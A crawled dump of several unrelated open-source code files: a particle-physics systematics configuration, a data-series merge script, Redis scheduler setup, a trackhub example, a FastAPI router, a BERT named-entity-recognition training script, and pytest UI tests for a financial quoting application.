var_dn='TRIG_DNSYS'\n )\nISOSYS = sys_dict['ISOSYS'] = Systematic(\n 'ISOSYS',\n var_up='ISO_UPSYS',\n var_dn='ISO_DNSYS'\n )\nISOSTAT = sys_dict['ISOSTAT'] = Systematic(\n 'ISOSTAT',\n var_up='ISO_UPSTAT',\n var_dn='ISO_DNSTAT'\n )\nRECOSYS = sys_dict['RECOSYS'] = Systematic(\n 'RECOSYS',\n var_up='RECO_UPSYS',\n var_dn='RECO_DNSYS'\n )\nRECOSTAT = sys_dict['RECOSTAT'] = Systematic(\n 'RECOSTAT',\n var_up='RECO_UPSTAT',\n var_dn='RECO_DNSTAT'\n )\nTTVASYS = sys_dict['TTVASYS'] = Systematic(\n 'TTVASYS',\n var_up='TTVA_UPSYS',\n var_dn='TTVA_DNSYS'\n )\nTTVASTAT = sys_dict['TTVASTAT'] = Systematic(\n 'TTVASTAT',\n var_up='TTVA_UPSTAT',\n var_dn='TTVA_DNSTAT'\n )\n\n# jet\n#_________________________________________________________________________________________\n\n \nB_SYS = sys_dict['B_SYS'] = Systematic(\n 'B_SYS',\n var_up='B_SYS_UP',\n var_dn='B_SYS_DN',\n ) \n \nC_SYS = sys_dict['C_SYS'] = Systematic(\n 'C_SYS',\n var_up='C_SYS_UP',\n var_dn='C_SYS_DN',\n ) \n \nL_SYS = sys_dict['L_SYS'] = Systematic(\n 'L_SYS',\n var_up='L_SYS_UP',\n var_dn='L_SYS_DN',\n ) \n \nE_SYS = sys_dict['E_SYS'] = Systematic(\n 'E_SYS',\n var_up='E_SYS_UP',\n var_dn='E_SYS_DN',\n ) \n \nEFC_SYS = sys_dict['EFC_SYS'] = Systematic(\n 'EFC_SYS',\n var_up='EFC_SYS_UP',\n var_dn='EFC_SYS_DN',\n ) \n \nJVT_SYS = sys_dict['JVT_SYS'] = Systematic(\n 'JVT_SYS',\n var_up='JVT_SYS_UP',\n var_dn='JVT_SYS_DN',\n ) \n\nJET_BJES_Response = sys_dict['JET_BJES_Response'] = Systematic(\n 'JET_BJES_Response',\n var_up='JET_BJES_Response_UP',\n var_dn='JET_BJES_Response_DN',\n ) \n \nJET_EffectiveNP_1 = sys_dict['JET_EffectiveNP_1'] = Systematic(\n 'JET_EffectiveNP_1',\n var_up='JET_EffectiveNP_1_UP',\n var_dn='JET_EffectiveNP_1_DN',\n ) \n \nJET_EffectiveNP_2 = sys_dict['JET_EffectiveNP_2'] = Systematic(\n 'JET_EffectiveNP_2',\n var_up='JET_EffectiveNP_2_UP',\n var_dn='JET_EffectiveNP_2_DN',\n ) \n \nJET_EffectiveNP_3 = sys_dict['JET_EffectiveNP_3'] = Systematic(\n 'JET_EffectiveNP_3',\n var_up='JET_EffectiveNP_3_UP',\n var_dn='JET_EffectiveNP_3_DN',\n ) \n \nJET_EffectiveNP_4 = sys_dict['JET_EffectiveNP_4'] = Systematic(\n 'JET_EffectiveNP_4',\n var_up='JET_EffectiveNP_4_UP',\n var_dn='JET_EffectiveNP_4_DN',\n ) \n \nJET_EffectiveNP_5 = sys_dict['JET_EffectiveNP_5'] = Systematic(\n 'JET_EffectiveNP_5',\n var_up='JET_EffectiveNP_5_UP',\n var_dn='JET_EffectiveNP_5_DN',\n ) \n \nJET_EffectiveNP_6 = sys_dict['JET_EffectiveNP_6'] = Systematic(\n 'JET_EffectiveNP_6',\n var_up='JET_EffectiveNP_6_UP',\n var_dn='JET_EffectiveNP_6_DN',\n ) \n \nJET_EffectiveNP_7 = sys_dict['JET_EffectiveNP_7'] = Systematic(\n 'JET_EffectiveNP_7',\n var_up='JET_EffectiveNP_7_UP',\n var_dn='JET_EffectiveNP_7_DN',\n ) \n \nJET_EffectiveNP_8restTerm = sys_dict['JET_EffectiveNP_8restTerm'] = Systematic(\n 'JET_EffectiveNP_8restTerm',\n var_up='JET_EffectiveNP_8restTerm_UP',\n var_dn='JET_EffectiveNP_8restTerm_DN',\n ) \n \nJET_EtaIntercalibration_Modelling = sys_dict['JET_EtaIntercalibration_Modelling'] = Systematic(\n 'JET_EtaIntercalibration_Modelling',\n var_up='JET_EtaIntercalibration_Modelling_UP',\n var_dn='JET_EtaIntercalibration_Modelling_DN',\n ) \n \nJET_EtaIntercalibration_NonClosure = sys_dict['JET_EtaIntercalibration_NonClosure'] = Systematic(\n 'JET_EtaIntercalibration_NonClosure',\n var_up='JET_EtaIntercalibration_NonClosure_UP',\n var_dn='JET_EtaIntercalibration_NonClosure_DN',\n )\n\nJET_EtaIntercalibration_TotalStat = sys_dict['JET_EtaIntercalibration_TotalStat'] = Systematic(\n 'JET_EtaIntercalibration_TotalStat',\n var_up='JET_EtaIntercalibration_TotalStat_UP',\n var_dn='JET_EtaIntercalibration_TotalStat_DN',\n ) \n \nJET_Flavor_Composition = sys_dict['JET_Flavor_Composition'] = Systematic(\n 'JET_Flavor_Composition',\n var_up='JET_Flavor_Composition_UP',\n var_dn='JET_Flavor_Composition_DN',\n symmetrize = True,\n ) \n \nJET_Flavor_Response = sys_dict['JET_Flavor_Response'] = Systematic(\n 'JET_Flavor_Response',\n var_up='JET_Flavor_Response_UP',\n var_dn='JET_Flavor_Response_DN',\n ) \n \nJET_Pileup_OffsetMu = sys_dict['JET_Pileup_OffsetMu'] = Systematic(\n 'JET_Pileup_OffsetMu',\n var_up='JET_Pileup_OffsetMu_UP',\n var_dn='JET_Pileup_OffsetMu_DN',\n ) \n \nJET_Pileup_OffsetNPV = sys_dict['JET_Pileup_OffsetNPV'] = Systematic(\n 'JET_Pileup_OffsetNPV',\n var_up='JET_Pileup_OffsetNPV_UP',\n var_dn='JET_Pileup_OffsetNPV_DN',\n symmetrize = True,\n ) \n \nJET_Pileup_PtTerm = sys_dict['JET_Pileup_PtTerm'] = Systematic(\n 'JET_Pileup_PtTerm',\n var_up='JET_Pileup_PtTerm_UP',\n var_dn='JET_Pileup_PtTerm_DN',\n ) \n \nJET_Pileup_RhoTopology = sys_dict['JET_Pileup_RhoTopology'] = Systematic(\n 'JET_Pileup_RhoTopology',\n var_up='JET_Pileup_RhoTopology_UP',\n var_dn='JET_Pileup_RhoTopology_DN',\n symmetrize = True,\n ) \n \nJET_PunchThrough_MC15 = sys_dict['JET_PunchThrough_MC15'] = Systematic(\n 'JET_PunchThrough_MC15',\n var_up='JET_PunchThrough_MC15_UP',\n var_dn='JET_PunchThrough_MC15_DN',\n ) \n \nJET_SingleParticle_HighPt = sys_dict['JET_SingleParticle_HighPt'] = Systematic(\n 'JET_SingleParticle_HighPt',\n var_up='JET_SingleParticle_HighPt_UP',\n var_dn='JET_SingleParticle_HighPt_DN',\n ) \n \nJET_JER_CROSS_CALIB_FORWARD = sys_dict['JET_JER_CROSS_CALIB_FORWARD'] = Systematic(\n 'JET_JER_CROSS_CALIB_FORWARD',\n var_up='JET_JER_CROSS_CALIB_FORWARD_UP',\n var_dn=None,\n onesided=True,\n ) \n\nJET_JER_NOISE_FORWARD = sys_dict['JET_JER_NOISE_FORWARD'] = Systematic(\n 'JET_JER_NOISE_FORWARD',\n var_up='JET_JER_NOISE_FORWARD_UP',\n var_dn=None,\n onesided=True,\n ) \n \nJET_JER_NP0 = sys_dict['JET_JER_NP0'] = Systematic(\n 'JET_JER_NP0',\n var_up='JET_JER_NP0_UP',\n var_dn='JET_JER_NP0_DN',\n symmetrize = True,\n ) \n \nJET_JER_NP1 = sys_dict['JET_JER_NP1'] = Systematic(\n 'JET_JER_NP1',\n var_up='JET_JER_NP1_UP',\n var_dn='JET_JER_NP1_DN',\n symmetrize = True,\n ) \n \nJET_JER_NP2 = sys_dict['JET_JER_NP2'] = Systematic(\n 'JET_JER_NP2',\n var_up='JET_JER_NP2_UP',\n var_dn='JET_JER_NP2_DN',\n symmetrize = True,\n ) \n \nJET_JER_NP3 = sys_dict['JET_JER_NP3'] = Systematic(\n 'JET_JER_NP3',\n var_up='JET_JER_NP3_UP',\n var_dn='JET_JER_NP3_DN',\n symmetrize = True,\n ) \n \nJET_JER_NP4 = sys_dict['JET_JER_NP4'] = Systematic(\n 'JET_JER_NP4',\n var_up='JET_JER_NP4_UP',\n var_dn='JET_JER_NP4_DN',\n symmetrize = True,\n ) \n \nJET_JER_NP5 = sys_dict['JET_JER_NP5'] = Systematic(\n 'JET_JER_NP5',\n var_up='JET_JER_NP5_UP',\n var_dn='JET_JER_NP5_DN',\n symmetrize = True,\n ) \n \nJET_JER_NP6 = sys_dict['JET_JER_NP6'] = Systematic(\n 'JET_JER_NP6',\n var_up='JET_JER_NP6_UP',\n var_dn='JET_JER_NP6_DN',\n symmetrize = True,\n ) \n \nJET_JER_NP7 = sys_dict['JET_JER_NP7'] = Systematic(\n 'JET_JER_NP7',\n var_up='JET_JER_NP7_UP',\n var_dn='JET_JER_NP7_DN',\n symmetrize = True,\n ) \n \nJET_JER_NP8 = sys_dict['JET_JER_NP8'] = Systematic(\n 'JET_JER_NP8',\n var_up='JET_JER_NP8_UP',\n var_dn='JET_JER_NP8_DN',\n symmetrize = True,\n ) \n\n## Theory\n# sys_list_theory = [\n# ALPHA_SYS,\n# PDFCHOICE_SYS,\n# MUR_SYS,\n# MUF_SYS,\n# ]\n\nALPHA_SYS = sys_dict['ALPHA_SYS'] = Systematic(\n 'ALPHA_SYS',\n var_up='MUR1_MUF1_PDF270000',\n var_dn='MUR1_MUF1_PDF269000',\n )\n\nMUR_SYS = sys_dict['MUR_SYS'] = Systematic(\n 'MUR_SYS',\n var_up='MUR2_MUF1_PDF261000',\n var_dn='MUR0.5_MUF1_PDF261000'\n )\n\nMUF_SYS = sys_dict['MUF_SYS'] = Systematic(\n 'MUF_SYS',\n var_up='MUR1_MUF2_PDF261000',\n var_dn='MUR1_MUF0.5_PDF261000'\n )\n\n\nPDFCHOICE_SYS1 = Systematic(\n 'PDFCHOICE_SYS1',\n var_up='MUR1_MUF1_PDF13000',\n var_dn=None,\n onesided=True,\n )\n\nPDFCHOICE_SYS2 = Systematic(\n 'PDFCHOICE_SYS2',\n var_up='MUR1_MUF1_PDF25300',\n var_dn=None,\n onesided=True,\n )\n\nPDF_CHOICE = [PDFCHOICE_SYS1, PDFCHOICE_SYS2]\n\nPDF_SYS = []\nfor PDFvar in range (1,101):\n PDFstr = str(PDFvar)\n while len(PDFstr) != 3:\n PDFstr = \"0\" + PDFstr\n # globals()['PDF261'+PDFstr+'_SYS'] = sys_dict['PDF261'+PDFstr+'_SYS'] = Systematic(\n temp = Systematic(\n 'PDF261'+PDFstr+'_SYS',\n var_up='MUR1_MUF1_PDF261'+PDFstr,\n var_dn=None,\n onesided=True,\n )\n # PDF_SYS += [ sys_dict['PDF261'+PDFstr+'_SYS'] ]\n PDF_SYS += [ temp ]\n\nQCD_SCALE = []\nfor qcd_var in ['MUR1_MUF2','MUR2_MUF1','MUR0.5_MUF1','MUR1_MUF0.5']:\n temp = Systematic(\n qcd_var + '_PDF261000',\n var_up=qcd_var + '_PDF261000',\n var_dn=None,\n onesided=True,\n )\n QCD_SCALE += [ temp ]\n\nPDF_SYS_ENVELOPE = sys_dict['PDF_SYS_ENVELOPE'] = Systematic(name='PDF_SYS_ENVELOPE',\ntitle=None,\nvar_up=None,\nvar_dn=None,\nflat_err=None,\nonesided=None,\nenvelope=True,\nconstituents=PDF_SYS\n )\n\nPDF_COICE_ENVELOPE = sys_dict['PDF_COICE_ENVELOPE'] = Systematic(name='PDF_COICE_ENVELOPE',\ntitle=None,\nvar_up=None,\nvar_dn=None,\nflat_err=None,\nonesided=None,\nenvelope=True,\nconstituents=PDF_CHOICE\n )\n\nQCD_SCALE_ENVELOPE = sys_dict['QCD_SCALE_ENVELOPE'] = Systematic(name='QCD_SCALE_ENVELOPE',\ntitle=None,\nvar_up=None,\nvar_dn=None,\nflat_err=None,\nonesided=None,\nenvelope=True,\nconstituents=QCD_SCALE\n )\n\n\n## EOF\n","repo_name":"SharedAnalysisCode/AnalysisCode","sub_path":"ssdilep/scripts/systematics.py","file_name":"systematics.py","file_ext":"py","file_size_in_byte":17627,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"12801272198","text":"import csv\nimport json\n\n#change these\nlastFile = '../monthly_data_series/data_series_jun.json'\ntargetFile = '../monthly_data_series/data_series_jul.json'\npackageLookupFile = '../working files/package_title_lookup_jul.json'\n\nchangeFiles = ['jul/Data series July 2023 update - match to many.csv','jul/Data series July 2023 update - match to one.csv']\nnewFiles = ['jul/Data series July 2023 update - new2.csv']\n\ndef getDataseriesIndex(seriesID):\n\tindex = -1\n\tcount = 0\n\tfor series in dataseries:\n\t\tif seriesID == series['id']:\n\t\t\tindex = count\n\t\tcount=count+1\n\treturn index\n\ndef transformDataseriesToNewForm(dataseries):\n\toutput = []\n\tfor key in dataseries:\n\t\tfor series in dataseries[key]:\n\t\t\tseries['type'] = key\n\t\t\toutput.append(series)\n\treturn output\n\ndef highestDataseriesID(dataseries):\n\tmaxID = 0\n\tfor series in dataseries:\n\t\tif int(series['id']) > maxID:\n\t\t\tmaxID = int(series['id'])\n\treturn maxID\n\nwith open(lastFile) as json_file:\n\tdataseries = json.load(json_file)\n\nwith open(packageLookupFile) as json_file:\n\tpackageLookup = json.load(json_file)\n\nfor file in changeFiles:\n\tprint(file)\n\twith open('../monthly_data_series/input_files/'+file, 'r') as csvfile:\n\t\treader = csv.reader(csvfile)\n\t\tnext(reader)\n\t\tfor row in reader:\n\t\t\tif row[0]=='Approved' or row[0]=='Exclude':\n\t\t\t\tdataseriesID = row[6]\n\t\t\t\tif dataseriesID[0:5] == 'none|':\n\t\t\t\t\tdataseriesID = dataseriesID[5:]\n\t\t\t\tif row[0]=='Exclude':\n\t\t\t\t\tdataseriesID = 0\n\t\t\t\tprint(dataseriesID)\n\t\t\t\tdatasets = row[7].split('|')\n\t\t\t\tdataseriesIndex = getDataseriesIndex(int(dataseriesID))\n\t\t\t\tfor dataset in datasets:\n\t\t\t\t\tdatasetName = packageLookup[dataset]\n\t\t\t\t\tdataseries[dataseriesIndex]['datasets'].append({'id':dataset,'key':datasetName})\n\nfor file in newFiles:\n\twith open('../monthly_data_series/input_files/'+file, 'r') as csvfile:\n\t\treader = csv.reader(csvfile)\n\t\tcurrentID = highestDataseriesID(dataseries)\n\t\tcurrentID = currentID + 1\n\t\tindex = 0\n\t\tseries = {'id':currentID,'series':'','datasets':[],'count':0,'type':'data series'}\n\t\texclude = False\n\t\tdataExcludeIndex = getDataseriesIndex(0)\n\t\tfor row in reader:\n\t\t\tif index == 0:\n\t\t\t\tif row[0]=='clean' or row[0]=='Clean':\n\t\t\t\t\tseries['type']='clean'\n\t\t\t\tif row[0]=='exclude' or row[0]=='Exclude':\n\t\t\t\t\texclude = True\n\t\t\t\tseries['series'] = row[0]\n\t\t\tif index>1:\n\t\t\t\tif exclude == True:\n\t\t\t\t\tdataseries[dataseriesIndex]['datasets'].append({'id':row[0],'key':row[1]})\n\t\t\t\telse:\n\t\t\t\t\tseries['datasets'].append({'id':row[0],'key':row[1]})\n\t\t\tindex= index+1\n\t\tseries['count'] = len(datasets)\n\t\tdataseries.append(series) \n\nwith open(targetFile, 'w', encoding='utf-8') as f:\n\tjson.dump(dataseries, f, ensure_ascii=False, indent=4)\n\n","repo_name":"SimonbJohnson/HDX_data_series","sub_path":"scripts/4_merge_changes.py","file_name":"4_merge_changes.py","file_ext":"py","file_size_in_byte":2645,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"14647335725","text":"from redis import Redis, AuthenticationError, ConnectionPool\nfrom rq_scheduler import Scheduler\n\nfrom logger import queue_logger\n\ntry:\n pool = ConnectionPool(host='localhost', port=6379, db=0)\n redis = Redis(connection_pool=pool)\n queue_logger.info(\n f\"Redis client initialized successfully. \"\n f\"Redis version == {redis.info()['redis_version']}\"\n )\n scheduler = Scheduler(connection=redis)\nexcept AuthenticationError:\n queue_logger.critical(\n f\"Redis cannot connect to the server. Authentication required.\"\n )\n","repo_name":"DmitriDanshin/avito-libre","sub_path":"db_redis.py","file_name":"db_redis.py","file_ext":"py","file_size_in_byte":553,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"29824087077","text":"import trackhub\nimport re\nimport sys\nimport os\nimport glob\n\nhub = trackhub.Hub(\n \"assembly_hub\",\n short_label=\"assembly_hub\",\n long_label=\"an example of an assembly hub\",\n email=\"none@example.com\")\n\ngenome = trackhub.Assembly(\n genome=\"newOrg1\",\n twobit_file=os.path.join(trackhub.helpers.data_dir(), \"newOrg1.2bit\"),\n organism=\"Big Foot\",\n defaultPos=\"chr1:0-1000000\",\n scientificName=\"Biggus Footus\",\n description=\"BigFoot V4\",\n html_string=\"BIGFOOT V4 INFO\\n\",\n orderKey=4800\n)\n\ngenomes_file = trackhub.GenomesFile()\ngenomes_file.add_genome(genome)\ntrackdb = trackhub.TrackDb()\nhub.add_genomes_file(genomes_file)\n\ngenomes_file.add_genome(genome)\ngenome.add_trackdb(trackdb)\n\nfor bw in glob.glob(os.path.join(trackhub.helpers.data_dir(), \"*no1*.bw\")):\n name, _, _ = os.path.basename(bw).split(\".\")\n track = trackhub.Track(\n name=trackhub.helpers.sanitize(name),\n source=bw,\n tracktype='bigWig',\n autoScale=\"on\")\n trackdb.add_tracks(track)\n\ntrackhub.upload.stage_hub(hub)\n\n","repo_name":"daler/trackhub","sub_path":"trackhub/test/test_assembly.py","file_name":"test_assembly.py","file_ext":"py","file_size_in_byte":1047,"program_lang":"python","lang":"en","doc_type":"code","stars":49,"dataset":"github-code","pt":"31"} +{"seq_id":"74752747609","text":"from fastapi.routing import APIRouter\nfrom gaguba.domain.dto import PaymentCreateDto\nfrom gaguba.domain import usecase\nfrom gaguba.data import payment_repository\n\napi_router = APIRouter()\n\n\n@api_router.get('/ping')\nasync def send_pong():\n return {'message': 'pong'}\n\n\n@api_router.get('/payments')\nasync def send_payments():\n return []\n\n\n@api_router.post('/payments')\nasync def process_payments(payment: PaymentCreateDto):\n return usecase.create_payment(payment_repository, payment)\n","repo_name":"iRaySpace/fastapi-legos","sub_path":"gaguba/gaguba/app/router.py","file_name":"router.py","file_ext":"py","file_size_in_byte":491,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"26106827185","text":"import tempfile\n\nimport numpy as np\nimport tensorflow as tf\nfrom tensorflow.keras.layers import Dense, Input\nfrom tensorflow.keras.models import Model\nfrom transformers import BertTokenizer, TFBertModel\n\nimport fastestimator as fe\nfrom fastestimator.dataset.data import mitmovie_ner\nfrom fastestimator.op.numpyop.numpyop import NumpyOp\nfrom fastestimator.op.numpyop.univariate import PadSequence, Tokenize, WordtoId\nfrom fastestimator.op.tensorop import Reshape\nfrom fastestimator.op.tensorop.loss import CrossEntropy\nfrom fastestimator.op.tensorop.model import ModelOp, UpdateOp\nfrom fastestimator.trace.io import BestModelSaver\nfrom fastestimator.trace.metric import Accuracy\n\n\ndef char2idx(data):\n tag2idx = {t: i for i, t in enumerate(data)}\n return tag2idx\n\n\nclass AttentionMask(NumpyOp):\n def forward(self, data, state):\n masks = [float(i > 0) for i in data]\n return np.array(masks)\n\n\ndef ner_model(max_len, pretrained_model, label_vocab):\n token_inputs = Input((max_len), dtype=tf.int32, name='input_words')\n mask_inputs = Input((max_len), dtype=tf.int32, name='input_masks')\n bert_model = TFBertModel.from_pretrained(pretrained_model)\n bert_output = bert_model(token_inputs, attention_mask=mask_inputs) # use the last hidden state\n output = Dense(len(label_vocab) + 1, activation='softmax')(bert_output[0])\n model = Model([token_inputs, mask_inputs], output)\n return model\n\n\ndef get_estimator(max_len=20,\n epochs=10,\n batch_size=64,\n train_steps_per_epoch=None,\n eval_steps_per_epoch=None,\n save_dir=tempfile.mkdtemp(),\n pretrained_model='bert-base-uncased',\n data_dir=None):\n # step 1 prepare data\n train_data, eval_data, data_vocab, label_vocab = mitmovie_ner.load_data(root_dir=data_dir)\n tokenizer = BertTokenizer.from_pretrained(pretrained_model, do_lower_case=True)\n tag2idx = char2idx(label_vocab)\n pipeline = fe.Pipeline(\n train_data=train_data,\n eval_data=eval_data,\n batch_size=batch_size,\n ops=[\n Tokenize(inputs=\"x\", outputs=\"x\", tokenize_fn=tokenizer.tokenize),\n WordtoId(inputs=\"x\", outputs=\"x\", mapping=tokenizer.convert_tokens_to_ids),\n WordtoId(inputs=\"y\", outputs=\"y\", mapping=tag2idx),\n PadSequence(max_len=max_len, inputs=\"x\", outputs=\"x\"),\n PadSequence(max_len=max_len, value=len(tag2idx), inputs=\"y\", outputs=\"y\"),\n AttentionMask(inputs=\"x\", outputs=\"x_masks\")\n ])\n\n # step 2. prepare model\n model = fe.build(model_fn=lambda: ner_model(max_len, pretrained_model, label_vocab),\n optimizer_fn=lambda: tf.optimizers.Adam(1e-5))\n network = fe.Network(ops=[\n ModelOp(model=model, inputs=[\"x\", \"x_masks\"], outputs=\"y_pred\"),\n Reshape(inputs=\"y\", outputs=\"y\", shape=(-1, )),\n Reshape(inputs=\"y_pred\", outputs=\"y_pred\", shape=(-1, len(label_vocab) + 1)),\n CrossEntropy(inputs=(\"y_pred\", \"y\"), outputs=\"loss\"),\n UpdateOp(model=model, loss_name=\"loss\")\n ])\n\n traces = [Accuracy(true_key=\"y\", pred_key=\"y_pred\"), BestModelSaver(model=model, save_dir=save_dir)]\n\n # step 3 prepare estimator\n estimator = fe.Estimator(network=network,\n pipeline=pipeline,\n epochs=epochs,\n traces=traces,\n train_steps_per_epoch=train_steps_per_epoch,\n eval_steps_per_epoch=eval_steps_per_epoch)\n\n return estimator\n\n\nif __name__ == \"__main__\":\n est = get_estimator()\n est.fit()\n","repo_name":"fastestimator/fastestimator","sub_path":"apphub/NLP/named_entity_recognition/bert_tf.py","file_name":"bert_tf.py","file_ext":"py","file_size_in_byte":3681,"program_lang":"python","lang":"en","doc_type":"code","stars":66,"dataset":"github-code","pt":"31"} +{"seq_id":"8664310441","text":"import pytest\nfrom dsl.get_client_quote import GetClientQuote\nfrom dsl.source_mortgage import MortgageBrainAnywhere\nfrom dsl.advice_planning import PlanningOpportunities\n\npytestmark = [pytest.mark.quote, pytest.mark.io_all]\n\n\n@pytest.mark.skipif('tst-02' == pytest.config.option.env, reason='AssureWeb needs to be set up in tst environments')\n@pytest.mark.skipif('tst-04' == pytest.config.option.env, reason='AssureWeb needs to be set up in tst environments')\n@pytest.mark.skipif('uat-10' == pytest.config.option.env, reason='AssureWeb credentials need to be added to the UAT environment (Blocked by IP-45915')\n@pytest.mark.assureweb\n@pytest.mark.usefixtures(\"api_delete_plan\")\n@pytest.mark.usefixtures(\"ui_delete_quote\")\n@pytest.mark.usefixtures(\"api_create_client\")\n@pytest.mark.usefixtures(\"ui_login_logout\")\ndef test_get_assureweb_quote(config):\n \"\"\" Test Description: Obtains a term protection quote from AssureWeb and creates a plan from the quote. \"\"\"\n test = (GetClientQuote(config)\n .open_client_by_url()\n .using_get_new_quote_window()\n .select_quote_product_area('Term Protection')\n .verify_quote_app_exists('Assureweb')\n .open_quote_app('Assureweb')\n .get_assureweb_quote()\n .navigate_to_quotes_and_apps()\n .wait_until_quote_completed()\n .verify_quote_status_is(\"Complete\")\n .verify_quote_product_type_is_term()\n .open_quote()\n .create_plan_from_quote()\n .navigate_to_quotes_apps_tab()\n .verify_plan_created_from_quote()\n .open_plan_and_save_details()\n )\n\n\n@pytest.mark.skip(reason=\"IP-50819 it needs to review the journey\")\n@pytest.mark.skipif('tst-02' == pytest.config.option.env, reason='Mortgage Brain needs to be set up in tst environments')\n@pytest.mark.skipif('uat-10' == pytest.config.option.env, reason='Mortgate Brain credentials need to be added to the UAT environment (Blocked by IP-45915)')\n@pytest.mark.mortgage_brain\n@pytest.mark.usefixtures(\"api_create_client\")\n@pytest.mark.usefixtures(\"ui_login_logout\")\ndef test_add_source_mortgage(config):\n \"\"\"Create quote using mortgage brain and verify it in IO\"\"\"\n test = (MortgageBrainAnywhere(config)\n .open_client_by_url()\n .using_source_mortgage_dialog()\n .open_mortgage_brain_anywhere()\n .verify_mortgage_brain_anywhere_status_code()\n .switch_to_io_window()\n )\n\n\n@pytest.mark.skipif('tst-05' == pytest.config.option.env, reason='Unable to setup app in tst-05')\n@pytest.mark.usefixtures(\"ui_login_logout\")\n@pytest.mark.usefixtures(\"api_search_default_client_and_save_details\")\ndef test_launch_get_new_illustration(config):\n \"\"\" Test Description: Verify that an app appears in the Get New Illustration dialog to simulate a real\n quote app\"\"\"\n test = (GetClientQuote(config)\n .open_client_by_url()\n .using_get_new_illustration_window()\n .select_illustration_product_area('Collective Investments')\n .verify_illustration_app_exists('Test Quote App')\n .close_get_new_ilustration_window()\n )\n\n\n@pytest.mark.skipif('tst-02' == pytest.config.option.env, reason='IP-59229')\n@pytest.mark.usefixtures(\"file_delete_quote_document_pdf\")\n@pytest.mark.usefixtures(\"api_upload_documents_to_quote\")\n@pytest.mark.usefixtures(\"api_set_quote_status_to_complete\")\n@pytest.mark.usefixtures(\"api_create_client_quote\")\n@pytest.mark.usefixtures(\"api_search_default_client_and_save_details\")\n@pytest.mark.usefixtures(\"ui_login_logout\")\ndef test_get_quote(config):\n \"\"\" Test Description: Obtains a quote and verifies that the quote was successful and contains documents \"\"\"\n test = (GetClientQuote(config)\n .open_client_by_url()\n .navigate_to_quotes_and_illustrations()\n .wait_until_quote_illustration_completed()\n .verify_quote_illustration_status_is(\"Complete\")\n .verify_quote_illustration_product_type_is(\"Investment\")\n .verify_provider_is_app_name()\n .verify_quote_reference()\n .open_quote_by_reference()\n .navigate_to_quote_documents_tab()\n .verify_document_has_been_uploaded_for_quote()\n .download_quote_document()\n .verify_quote_document_downloaded()\n )\n\n\n@pytest.mark.skipif('tst-02' == pytest.config.option.env, reason='IP-59229')\n@pytest.mark.usefixtures(\"file_delete_quote_result_document_pdf\")\n@pytest.mark.usefixtures(\"api_upload_documents_to_quote_result\")\n@pytest.mark.usefixtures(\"api_create_client_quote_result\")\n@pytest.mark.usefixtures(\"api_set_quote_status_to_complete\")\n@pytest.mark.usefixtures(\"api_create_client_quote\")\n@pytest.mark.usefixtures(\"api_search_default_client_and_save_details\")\n@pytest.mark.usefixtures(\"ui_login_logout\")\ndef test_get_quote_and_verify_quote_result(config):\n \"\"\" Test Description: Obtains a quote and verifies that the quote contains quote results and documents \"\"\"\n test = (GetClientQuote(config)\n .open_client_by_url()\n .navigate_to_quotes_apps_tab()\n .navigate_to_quotes_and_illustrations()\n .wait_until_quote_illustration_completed()\n .verify_quote_illustration_status_is(\"Complete\")\n .verify_quote_illustration_product_type_is(\"Investment\")\n .verify_provider_is_app_name()\n .verify_quote_reference()\n .open_quote_by_reference()\n .verify_columns_are_present_for_protection_quote_results()\n .verify_contribution_amounts_are_correct()\n .using_quote_result_details_dialog()\n .verify_columns_for_investment_quote_are_correct()\n .verify_contributions_are_correct_for_investment_quote()\n .close_dialog()\n .using_quote_result_document_dialog()\n .verify_document_has_been_uploaded_for_quote_result()\n .download_quote_result_document()\n .verify_quote_result_document_downloaded()\n .close_dialog()\n )\n\n\n@pytest.mark.skipif('tst-02' == pytest.config.option.env, reason='IP-59229')\n@pytest.mark.usefixtures(\"api_delete_client_documents\")\n@pytest.mark.usefixtures(\"api_delete_client_relationship\")\n@pytest.mark.usefixtures(\"api_upload_quote_documents_to_joint_client\")\n@pytest.mark.usefixtures(\"api_set_quote_status_to_complete\")\n@pytest.mark.usefixtures(\"api_create_joint_client_quote\")\n@pytest.mark.usefixtures(\"ui_login_logout\")\ndef test_create_joint_quote_and_documents(config):\n \"\"\" Test Description: create joint quote and documents. Verify quote and document access to both life \"\"\"\n test = (GetClientQuote(config)\n .open_client_by_url()\n .navigate_to_quotes_and_illustrations()\n .open_quote_by_reference()\n .verify_quote_id()\n .navigate_to_client_document()\n .verify_quote_document_present()\n .open_second_life()\n .navigate_to_quotes_and_illustrations()\n .open_quote_by_reference()\n .verify_quote_id()\n .navigate_to_client_document()\n .verify_quote_document_present()\n )\n\n\n@pytest.mark.skipif('tst-02' == pytest.config.option.env, reason='IP-59229')\n@pytest.mark.usefixtures(\"api_delete_second_life_documents\")\n@pytest.mark.usefixtures(\"api_delete_client_documents\")\n@pytest.mark.usefixtures(\"api_delete_client_relationship\")\n@pytest.mark.usefixtures(\"api_upload_quote_result_documents_to_joint_client\")\n@pytest.mark.usefixtures(\"api_create_client_joint_quote_result\")\n@pytest.mark.usefixtures(\"api_set_quote_status_to_complete\")\n@pytest.mark.usefixtures(\"api_create_joint_client_quote\")\n@pytest.mark.usefixtures(\"ui_login_logout\")\ndef test_create_joint_quote_results_and_documents(config):\n \"\"\" Test Description: create joint quote results and documents.\n Verify quote results and documents access to both life \"\"\"\n test = (GetClientQuote(config)\n .open_client_by_url()\n .open_quote()\n .verify_joint_quote_result_created()\n .using_quote_result_document_dialog()\n .verify_document_has_been_uploaded_for_quote_result()\n .close_dialog()\n .navigate_to_client_document()\n .verify_quote_result_document_present()\n .open_second_life()\n .open_quote()\n .verify_joint_quote_result_created()\n .using_quote_result_document_dialog()\n .verify_document_has_been_uploaded_for_quote_result()\n .close_dialog()\n .navigate_to_client_document()\n .verify_quote_result_document_present()\n )\n\n\n@pytest.mark.usefixtures(\"ui_delete_service_case\")\n@pytest.mark.usefixtures(\"ui_add_delete_opportunity\")\n@pytest.mark.usefixtures(\"ui_login_logout\")\n@pytest.mark.usefixtures(\"api_search_default_client_and_save_details\")\ndef test_launch_get_new_quote_from_research_tools(config):\n \"\"\" Test Description: Verify that it is possible to launch Get New Quote wizard by using Get Quote tool.\"\"\"\n test = (PlanningOpportunities(config)\n .open_client_by_url()\n .using_planning_opportunities()\n .open_research_tools()\n 